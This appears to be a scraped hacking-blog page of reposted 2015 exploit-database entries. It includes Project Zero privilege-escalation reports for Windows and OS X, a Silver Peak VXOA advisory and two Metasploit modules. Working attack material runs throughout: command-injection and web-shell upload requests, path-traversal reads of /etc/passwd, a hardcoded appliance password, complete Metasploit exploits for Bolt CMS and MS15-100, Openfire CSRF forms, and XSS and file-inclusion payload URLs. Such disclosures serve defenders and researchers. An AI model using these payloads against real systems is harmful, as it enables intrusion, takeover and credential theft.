Source: https://code.google.com/p/google-security-research/issues/detail?id=442
Windows: Task Scheduler DeleteExpiredTaskAfter File Deletion Elevation of Privilege
Platform: Windows 8.1 Update, looks like it should work on 7 and 10 as well
Class: Elevation of Privilege
Summary:
The Task Scheduler can be made to delete a task after it’s trigger has expired. No check is made to ensure the task file is not a junction which allows arbitrary files to be deleted by the system user leading to EoP.
Description:
If a scheduled task is configured with DeleteExpiredTaskAfter setting the service will delete the task including its task file after the triggers have expired. It does the deletion in a timer callback thread but doesn’t call DeleteFile with the privileges of the task, instead running at local system. While the scheduler now seems to do some checking on the path for junction attacks this only seems to be at creation time not when it’s deleting the task file. Therefore you can mount a junction attack against the deletion process which allows you to delete any file or directory on the system which local system can delete. To delete directories you’d have to use a more advanced trick than just a directory junction as you’d need to the point the task file to name::$INDEX_ALLOCATION but it will work.
The ability to deletes files is sufficient in some cases to elevate privileges because of the behaviour of other system processes and default permissions. For example system files created in ProgramData generally have privileges which prevent a user from modifying or replacing files, but not from creating new ones. You could use the attack to delete existing files then replace with hardlinks to overwrite system files.
Proof of Concept:
The PoC demonstrates the vulnerability deleting an arbitrary file from the system. You need to modify the $filetodelete variable to select a different file to test other than c:\protected\test
1) Copy the PoC to a location on a local hard disk and rename the file’s extension to .ps1.
2) Enable powershell scripting for the current user, this doesn’t affect the actual exploit, it’s just to get powershell to execute the script.
2) As a normal user execute the powershell PoC
3) The PoC should complete execution.
Expected Result:
The service should detect the directory junction and not delete the target file
Observed Result:
The target file is deleted
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38200.ps1
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863293317
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://code.google.com/p/google-security-research/issues/detail?id=461
Windows: NtUserGetClipboardAccessToken Token Leak Redux
Platform: Windows 8.1 Update, Windows 10 Build 10130
Class: Security Bypass/EoP
Summary:
The NtUserGetClipboardAccessToken win32k system call exposes the access token of the last user to lower-privileged users. It can also be used to open an anonymous impersonation thread token which normally OpenThreadToken shouldn't be able to do. This is a bypass of the fix for CVE-2015-0078.
Description:
This was supposedly fixed as CVE-2015-0078 in MS15-023 to prevent access to the token from any process running below medium IL. The check is roughly:
if(IsImmersiveBroker() || CheckAccessForIntegrityLevelEx(0x2000)) {
ObOpenObjectByPointer(WinStationObject->ClipboardAccessToken, Access, TokenHandle);
}
This is possible to bypass because IsImmersiveBroker level is trivial to get. It seems Win32k sets the appropriate Win32Process flag when first initializing the process and converting it to a GUI thread. If the executable is signed by a Microsoft certificate and has a specially named section of “.imrsiv” the flag will be set, however this will be done regardless of the IL of the process. Therefore you can create a process using one of the pre signed executables, such as explorer.exe, RuntimeBroker.exe or LicensingUI.exe then inject a DLL into the process. This allows you to bypass the check and capture the token.
I’ve had a quick look at what else might be exploitable from being able to get IsImmersiveBroker to return true. Nothing stands out but it’s probably worth restricted the IL level of processes allowed to get this flag set.
Proof of Concept:
I’ve provided a PoC which will capture any token currently on the clipboard that it can access. It creates an instance of LicensingUI.exe and injects a DLL into it. Note the built executables are for x64 Windows, you'll need to rebuild to test on 32 bit. The password for the archive is "password".
1) Copy the PoC to a directory, including the executable and the DLL
2) Execute the Poc_NtUserGetClipboardAccessToken_SecurityBypass.exe as a low integrity process. You can do this by marking the executable file with low IL using icacls or by using psexec.
3) Perform a clipboard operation, for example select some text and copy it to the clipboard
4) The PoC should show it has opened a token by opening a message dialog, if you inspect the tokens it’s likely to show a primary token has been captured with medium IL.
Expected Result:
It shouldn’t be possible to capture the token.
Observed Result:
The token was captured in the low IL process.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38199.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=468
Windows: User Mode Font Driver Thread Permissions EoP
Platform: Windows 10 Build 10130
Class: Elevation of Privilege
Summary:
The host process for the UMFD runs as a normal user but with a heavily restrictive process DACL. It’s possible execute arbitrary code within the context of the process because it’s possible to access the processes threads leading to local EoP.
Description:
NOTE: This was tested on the latest available build on Windows 10. I don’t know if the final version will change the functionality to fix this vulnerability.
When a custom font is used in Windows 10 the User Mode Font Driver comes into play. This is initialized by a call from the kernel into the user sessions winlogon process which in turn spawns a new copy of fontdrvhost.exe. The process is started inside an appcontainer heavily restricting what resources it could access if a font bug was able to compromise it. However win32k exposes some additional calls to the UMFD for its own purposes, some of which are potentially dangerous. For that reason (presumably) winlogon creates the process with a specific DACL limiting access to the process and initial thread to SYSTEM only.
There’s a few problems with this approach, firstly it’s still running in the context of the user and includes the user’s environment variables such as PATH. This might mean if any badly written code later relies on the drive mapping or PATH there could be issues. More serious however is the specified DACL only applies to the process object and the initial thread object, but not to any subsequent thread. Therefore those threads get the default DACL from the process token (which is never changed) and are marked as owned by the current user, so the DACL could be rewritten anyway. This is a problem as with write access to the threads it’s possible to change their context and redirect execution to an arbitrary location. As the token is a lowbox token this can even be done in low integrity processes such as IE PM.
The exploitation is made trickier by the fact that you can’t directly read or write the process’ memory. Still one thing you could do is redirect the thread to LoadLibraryW and pass it the known address of a string. This can either be a string in a loaded library and rely on the path environment variable to allow it to be resolved or in something like the GDI heap.
Once in the UMFD process you can then send some of the specific Win32k escape codes. For example there’s one currently called UmfdEscEngCreateFile which will open (for read or write) a couple of files in system32. The open is done in kernel mode, with no forced access check (even though an impersonation is performed) and the handle returned to user mode. This is dangerous for a number of reasons, specifically that the NTFS driver will mark the file as having create symbolic link permissions because it’s opened in kernel mode which means the caller could set a file symbolic link. Then it could reopen the file and it would be able create an arbitrary file on disk. This hasn’t been completely tested however but it’s an example of a dangerous call, of course it could just be a vestigial feature which will be removed in release builds as the code is pretty dangerous and doesn’t even work as expected.
This issue could probably be fixed in a few ways, firstly the default token DACL should be set so that it maintains the security, assuming this is possible. Also you’d probably need to set OWNER_RIGHTS SID otherwise the user could just open the thread and rewrite its DACL. Also not using the actual user’s environment would probably be a good idea although not necessarily a complete fix. Finally presumably the process mitigation to only allow signed modules could be enabled which would complicate exploitation especially in the presence of CFG.
Proof of Concept:
I’ve provided a PoC which just crashes the fontdrvhost process at a predictable address. It’s only built for 32 bit version of Windows 10 but presumably it would work on 64 bit version as well. The password for the archive is "password".
1) Copy the PoC to a directory
2) Execute the PoC, if it wasn’t already a new instance of fontdrvhost.exe should have started. You might want to attach a debugger at this point.
3) Click the Do Exploit button, if at this point the fontdrvhost process doesn’t crash open a new copy of the PoC just to kick the threads inside the process.
Expected Result:
It’s not possible to influence the fontdrvhost process.
Observed Result:
Thread execution redirected to an arbitrary address of 0x55555555.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38198.zip
( , ) (,
. '.' ) ('. ',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Silver Peak VXOA Multiple Vulnerabilities
Affected versions: Silver Peak VX < 6.2.11
PDF:
http://www.security-assessment.com/files/documents/advisory/Silverpeak-Advisory-Final.pdf
+-----------+
|Description|
+-----------+
The Silver Peak VX virtual appliance running VXOA before version 6.2.11
contains a number of security vulnerabilities, including command
injection, unauthenticated file read, mass assignment, shell upload, and
hardcoded credentials. By combining these vulnerabilities, an attacker
may remotely obtain root privileges on the underlying host.
+------------+
|Exploitation|
+------------+
==Command Injection==
A user with administrative access to the REST JSON interface of the VX
web server may execute arbitrary commands on the operating system. The
injection point lies in the "snmp" call, which does not sanitise the
"auth_key" parameter before including it in an executed command string.
The following command injection PoC writes the user's id to a file on
the filesystem.
[Command Injection PoC]
POST /rest/json/snmp HTTP/1.1
Host: [HOST]
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 368
Cookie: connect.sid=[VALID];
{"access":{"rocommunity":"public"},"listen":{"enable":true},"traps":{"trap_community":"public","enable":true},"auto_launch":true,"sysdescr":"",
"syscontact":"","syslocation":"","v3":{"users":{"admin":{"hash_type":"sha","auth_key":"a;echo
`id` >
/var/tmp/cmd_inj","self":"admin","privacy_key":"","privacy_type":"aes-128","enable":false}}},"encAuth":false,"encPri":false}
==Unauthenticated File Read==
A user with the ability to access the VX web server interface may make
an unauthenticated call to a web interface function that allows them to
read arbitrary files on the disk with the permission of the web server
user "apache". Two functions are affected by this vulnerability,
"save_file.php" and "save_config_file.php".
[Unauthenticated File Read PoC]
curl -sk
"https://[HOST]/6.2.5.0_52054/php/save_file.php?ftype=log&fname=../../etc/passwd"
OR
curl -sk
"https://[HOST]/6.2.5.0_52054/php/save_config_file.php?filename=../../../../../../../../etc/passwd"
==Mass Assignment==
A user with access to the REST JSON interface of the VX web server may
alter undocumented parameters of the "users" call, allowing them to
change a user's login shell to bash. This can be used to evade the
limited subshell enforced by the SSH server on the appliance.
[Mass assignment PoC]
POST /rest/json/users HTTP/1.1
Host: [HOST]
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 366
Cookie: connect.sid=[VALID];
{"users":{"basic":{"self":"basic","enable":true,"gid":0,"password":"[SNIP]","shell":"/bin/bash"}},[SNIP
other users]}}
==Shell Upload==
A user with monitor or administrative access to the web interface of the
VX web server may upload a PHP shell in order to execute arbitrary
commands as the web server user "apache". A POST request containing the
PHP shell is made to the "configdb_file.php" endpoint. This uploads the
shell to a directory with a randomly generated name corresponding to the
user's SOAP interface session. This random value may be obtained from
"home.php", and the uploaded shell accessed within that directory. The
following PoC details uploading the shell, obtaining the SOAP directory
name, and using the shell.
[Shell upload PoC]
POST /6.2.5.0_52054/php/configdb_file.php?seenform=1 HTTP/1.1
Host: [HOST]
Cookie: PHPSESSID=[VALID];
Content-Type: multipart/form-data;
boundary=---------------------------18932870311933452824851992207
Content-Length: 301
-----------------------------18932870311933452824851992207
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/html
<?php
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo "$output";
?>
-----------------------------18932870311933452824851992207
#End of request
$curl -sk -b 'PHPSESSID=[VALID]'
"https://[HOST]/6.2.5.0_52054/php/home.php" | grep "flowFile"
var flowFile =
"/opt/tms/lib/web/content/webui/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffijnhod9zmwr270oreuoatajxcfq71sf/";
$curl -sk
"https://[HOST]/6.2.5.0_52054/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffijnhod9zmwr270oreuoatajxcfq71sf/shell.php?cmd=id"
uid=48(apache) gid=48(apache) groups=48(apache)
==Hardcoded Account==
The "spsadmin" account is predefined in the VX appliance, and is hidden
from user account lists in the web and subshell interfaces. The account
has a hardcoded password of "Silverpeak123", and cannot be logged into
through the regular web interface, or the subshell over SSH. However,
the account can log in via the web JSON interface, and execute JSON API
calls with administrative privileges. This can include creating new
users, with which an attacker may successfully log into the SSH or web
interfaces, and also exploiting the Command Injection bug detailed
earlier in this advisory. The following PoC details the request and
credentials used to obtain a valid REST cookie:
[Hardcoded account login PoC]
POST /rest/json/login HTTP/1.1
Host: [host]
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
{"user":"spsadmin","password":"Silverpeak123"}
==Subshell Breakout==
An administrative user with access to the enable menu of the login
subshell may enter a hardcoded string to obtain a bash shell on the
operating system.
[Subshell Breakout POC]
silverpeak > en
silverpeak # _spsshell
[admin@silverpeak root]# id
uid=0(admin) gid=0(root) groups=0(root)
+----------+
| Solution |
+----------+
Users of the 6.2.x branch should upgrade to version 6.2.11 of VXOA in
order to protect against these issues. Silver Peak has advised that
users of the 7.2.x branch are only vulnerable to the command injection
vulnerability, which will be patched in version 7.3.
+-------------------+
|Disclosure Timeline|
+-------------------+
01/04/2015 - Email sent to info address asking for a security contact.
09/04/2015 - Email sent to info and security addresses asking for a
security contact.
21/04/2015 - Email sent to CEO regarding security contact.
21/04/2015 - Response from CEO providing security contact details.
22/04/2015 - Email sent to security contact asking for PGP key.
22/04/2015 - Received PGP key, sent advisory.
22/04/2015 - Email received confirming receipt of advisory.
22/06/2015 - Email sent asking for update on advisory.
23/06/2015 - Vendor details fixes in place, states that all issues have
been fixed in 6.2.11.0, and only the command injection remains unfixed
in the 7.2.x version.
17/07/2015 - Email sent regarding resolution of unfixed issue.
17/07/2015 - Received response stating the command injection issue is
only relevant to customers who have disabled shell access.
21/07/2015 - Email sent asking for clarification on the vendor stance.
21/07/2015 - Vendor states command injection vulnerability is only an
issue for customers with shell access disabled as they otherwise have
the ability to execute commands through the shell, and that the issue
will be fixed in release 7.3.
09/09/2015 - Public advisory release.
+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+
Security-Assessment.com is a leading team of Information Security
consultants specialising in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients
include some of the largest globally recognised companies in areas such
as finance, telecommunications, broadcasting, legal and government. Our
aim is to provide the very best independent advice and a high level of
technical expertise while creating long and lasting professional
relationships with our clients.
Security-Assessment.com is committed to security research and
development, and its team continues to identify and responsibly publish
vulnerabilities in public and private software vendor's products.
Members of the Security-Assessment.com R&D team are globally recognised
through their release of whitepapers and presentations related to new
security research.
For further information on this issue or any of our service offerings,
contact us:
Web www.security-assessment.com
Email info () security-assessment.com
Phone +64 4 470 1650
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'CMS Bolt File Upload Vulnerability',
'Description' => %q{
Bolt CMS contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. This module was
tested on version 2.2.4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tim Coen', # Vulnerability Disclosure
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
],
'DisclosureDate' => 'Aug 17 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Bolt 2.2.4', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end
def check
cookie = bolt_login(username, password)
return Exploit::CheckCode::Detected unless cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt'),
'cookie' => cookie
)
if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def fname
datastore['FOLDERNAME']
end
def bolt_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("#{peer} - Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass,
'action' => 'login'
}
)
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
nil
end
def get_token(cookie, fname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
)
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
return Regexp.last_match[1]
end
nil
end
def rename_payload(cookie, payload, fname)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
'vars_post' => {
'namespace' => 'theme',
'parent' => fname,
'oldname' => "#{payload}.png",
'newname' => "#{payload}.php"
},
'cookie' => cookie
)
return true if res && res.code == 200 && res.body.include?('1')
nil
end
def exploit
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
cookie = bolt_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
vprint_good("#{peer} - Authenticated with Bolt.")
token = get_token(cookie, fname)
fail_with(Failure::Unknown, 'No token found.') if token.nil?
vprint_good("#{peer} - Token \"#{token}\" found.")
vprint_status("#{peer} - Preparing payload...")
payload_name = Rex::Text.rand_text_alpha_lower(10)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
post_data = data.to_s
vprint_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
vprint_good("#{peer} - Uploaded the payload.")
rename = rename_payload(cookie, payload_name, fname)
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
php_file_name = "#{payload_name}.php"
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
vprint_status("#{peer} - Parsed response.")
register_files_for_cleanup(php_file_name)
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info={})
super(update_info(info,
'Name' => "MS15-100 Microsoft Windows Media Center MCL Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Windows Media Center. By supplying
an UNC path in the *.mcl file, a remote file will be automatically downloaded,
which can result in arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r',
],
'References' =>
[
['CVE', '2015-2509'],
['MSB', 'MS15-100']
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',
'Targets' =>
[
['Windows', {}],
],
'Privileged' => false,
'DisclosureDate' => "Sep 8 2015",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']),
OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe'])
], self.class)
deregister_options('FILE_CONTENTS')
end
def generate_mcl
%Q|<application run="#{unc}" />|
end
def primer
self.file_contents = generate_payload_exe
print_status("Malicious executable at #{unc}...")
print_status("Creating '#{datastore['FILENAME']}' file ...")
mcl = generate_mcl
file_create(mcl)
end
end
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-CSRF.txt
Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp
Product:
================================
Openfire 3.10.2
Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).
Vulnerability Type:
=================================
Cross site request forgery (CSRF)
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
No CSRF tokens exists allowing us to take malicious actions against the
application.
1- change admin password.
2- add aribitrary users to the system
3- edit server settings e.g. turn off SSL.
4- Add rogue malicious clients with permit access (Allow all XMPP clients
to connect)
and more...
Exploit code(s):
===============
1) change admin password
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>
<form id="HELL" action="http://localhost:9090/user-password.jsp"
method="post">
<input type="text" name="username" value="admin" >
<input type="text" name="password" value="abc123">
<input type="text" name="passwordConfirm" value="abc123" >
<input type="password" name="update" value="Update+Password" >
</form>
2) add aribitrary users
http://localhost:9090/user-create.jsp?username=hyp3rlinx&name=hyp3rlinx&email=blasphemer@abyss.com&password=abc123&passwordConfirm=abc123&create=Create+User
3) edit server settings & turn off SSL
http://localhost:9090/server-props.jsp?serverName=myserver&sslEnabled=false&save=Save+Properties
4) add rogue malicious clients
http://localhost:9090/plugins/clientcontrol/permitted-clients.jsp?all=false&other=http%3A//maliciouso.com/666.exe&addOther=Add
Disclosure Timeline:
=========================================================
Vendor Notification: NA
Sept 14, 2015 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST & GET
Vulnerable Product: [+] Openfire 3.10.2
Vulnerable Parameter(s): [+] update, create, sslEnabled, other
Affected Area(s): [+] Admin
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
source: https://www.securityfocus.com/bid/57061/info
WHM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E
http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E
Source: https://code.google.com/p/google-security-research/issues/detail?id=477
Install.framework has a suid root binary here: /System/Library/PrivateFrameworks/Install.framework/Resources/runner
This binary vends the IFInstallRunner Distributed Object, which has the following method:
[IFInstallRunner makeReceiptDirAt:asRoot:]
If you pass 1 for asRoot, then this code will treat the makeReceiptDirAt string as a path and make two directories
(Library/Receipts) below it. At first glance this code looks immediately racy and no doubt we could play some
symlink tricks to get arbitrary directories created, but, on second glance, we can do a lot more!
This code is using distributed objects which is a "transparent" IPC mechanism: what this means in practise is that
not only can I call methods on the IFInstallRunner object running in the suid root process, but I can also pass it objects
from my process; when the suid root process then tries to call methods on those object this will actually result in callbacks
into my process :)
In this case rather than just passing an NSString as the makeReceiptDirAt parameter I create and pass an instance of my own class
"InitialPathObject" which behaves a bit like a string but gives me complete control over its behaviour from my process.
By creating a couple of this custom classes and implementing various methods we can reach calls to mkdir, chown and unlink with euid == 0.
We can completely control the string passed to mkdir and unlink.
In the chown case the code will chown our controlled path to root:admin; regular os x users are members of the admin group which means that this
will give the user access to files which previously belonged to a different group.
To hit the three actions (mkdir, chown and unlink) with controlled arguments we need to override various
combinations of selectors and fail at the right points:
InitialPathObject = the object we pass to the makeReceiptDirAt selector
overrides: - stringByAppendingPathComponent
* will be called twice:
* first time: return an NSString* pointing to a non-existant file
* second time: return SecondFakeStringObject
SecondFakeStringObject = returned by the second call to stringByAppendingPathComponent
overrides: - length
* will be called by the NSFileManager?
* return length of path to non-existant file
- getCharacters:
* will be called by the NSFileManager?
* return character of the non-existant file path
- fileSystemRepresentation
* for MKDIR:
* first time: return char* of the target path
* second time: return char* to non-existant file
* third time: return char* to non-existant file
* for CHOWN:
* first time: return char* of temporary directory to create and ignore
* second time: return char* of target path
* for UNLINK:
* first time: return char* of temporary directory to create and ignore
* second time: return char* to non-existant file
* third time: return char* to path to unlink
- stringByAppendingPathComponent:
* for MKDIR:
* not called
* for CHOWN:
* return NSString* pointing to file which does exist // to bail out before creating /Receipts
* for UNLINK
* not called
build: clang -o as_root_okay_then_poc as_root_okay_then_poc.m -framework Foundation
run: ./as_root_okay_then_poc MKDIR|CHOWN|UNLINK <target>
note that this will create some root-owned temporary directories in /tmp which will need to be manually cleaned up
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38137.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=314
The private Install.framework has a few helper executables in /System/Library/PrivateFrameworks/Install.framework/Resources,
one of which is suid root:
-rwsr-sr-x 1 root wheel 113K Oct 1 2014 runner
Taking a look at it we can see that it's vending an objective-c Distributed Object :)
[ https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/DistrObjects/DistrObjects.html ]
The main function immediately temporarily drops privs doing
seteuid(getuid()); setegid(getgid());
then reads line from stdin. It passes this to NSConnection rootProxyForConnectionWithRegisteredName to lookup that
name in the DO namespace and create a proxy to connect to it via.
It then allocates an IFInstallRunner which in its init method vends itself using a name made up of its pid, time() and random()
It then calls the setRunnerConnectionName method on the proxy to tell it the IFInstallRunner's DO name so that whoever
ran the runner can connect to the IFInstallRunner.
The IFRunnerMessaging protocol tells us the methods and prototypes of the remote methods we can invoke on the IFInstallRunner.
Most of the methods begin with a call to processKey which will set the euid back to root if the process can provide a valid admin
authorization reference from authd (I'm not totally sure how that bit works yet, but it's not important for the bug.) Otherwise the euid
will remain equal to the uid and the methods (like movePath, touchPath etc) will only run with the privs of the user.
The methods then mostly end with a call to restoreUIDs which will drop back to euid==uid if we did temporarily regain root privs (with the auth ref.)
Not all methods we can invoke are like that though...
IFInstallRunner setExternalAuthorizationRef calls
seteuid(0);setegid(0);
to regain root privs without requiring any auth. It then calls AuthorizationCreateFromExternalForm passing the bytes of an NSData we give it.
If that call doesn't return 0 then the error branch calls syslog with the string: "Fatal error: unable to internalize authorization reference."
but there's actually nothing fatal, it just returns from the method, whereas the success branch goes on to restore euid and egid, which means
that if we can get AuthorizationCreateFromExternalForm to fail then we can get the priv dropping-regaining state machine out-of-sync :)
Getting AuthorizationCreateFromExternalForm to fail is trivial, just provide a malformed auth_ref (like "AAAAAAAAAAAAAAAAAAA" )
Now the next method we invoke will run with euid 0 even without having the correct auth ref :)
This PoC first calls setBatonPath to point the baton executable path to a localhost bind-shell then triggers the bug
and calls runTaskSecurely which will create an NSTask and launch the bind-shell with euid 0 :) We can then just nc to it and get a root shell
tl;dr:
the error path in setExternalAuthorizationRef should either be fatal or drop privs!
Make sure you have the latest xcode installed and run the get_shell.sh script to build and run the PoC.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38138.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=478
The Install.framework runner suid root binary does not correctly account for the fact that Distributed Objects
can be connected to by multiple clients at the same time.
By connecting two proxy objects to an IFInstallRunner and calling [IFInstallRunner makeReceiptDirAt:asRoot:]
in the first and passing a custom object as the directory name we can get a callback to our code just after the
makeReceiptDirAt code has called seteuid(0);setguid(0) to regain privs. Since BSD priviledges are per-process
this means that our other proxy object will now have euid 0 without having to provide an authorization reference.
In this second proxy we can then just call runTaskSecurely and get a root shell before returning from the first proxy's callback function
which will then drop privs.
build using the provided makefile and run passing the full path to the localhost shell
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38136.zip
source: https://www.securityfocus.com/bid/56995/info
The Bit Component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
http://www.example.com/index.php?option=com_bit&controller=../../../../../../../../../../../../../../../etc/passwd%00
source: https://www.securityfocus.com/bid/56994/info
ZT Autolinks Component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
http://www.example.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00
source: https://www.securityfocus.com/bid/56953/info
The TimThumb plug-in for WordPress is prone to multiple security vulnerabilities, including:
1. A cross-site scripting vulnerability
2. Multiple security-bypass vulnerabilities
3. An arbitrary file-upload vulnerability
4. An information-disclosure vulnerability
5. Multiple path-disclosure vulnerabilities
6. A denial-of-service vulnerability
Attackers can exploit these issues to bypass certain security restrictions, obtain sensitive information, perform certain administrative actions, gain unauthorized access, upload arbitrary files, compromise the application, access or modify data, cause denial-of-service conditions, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks may also be possible.
XSS (WASC-08) (in versions of Rokbox with older versions of TimThumb):
http://www.example.complugins/wp_rokbox/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
Full path disclosure (WASC-13):
http://www.example.complugins/wp_rokbox/thumb.php?src=http://
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1&w=1111111
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1111111&w=1
Abuse of Functionality (WASC-42):
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
DoS (WASC-10):
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/big_file&h=1&w=1
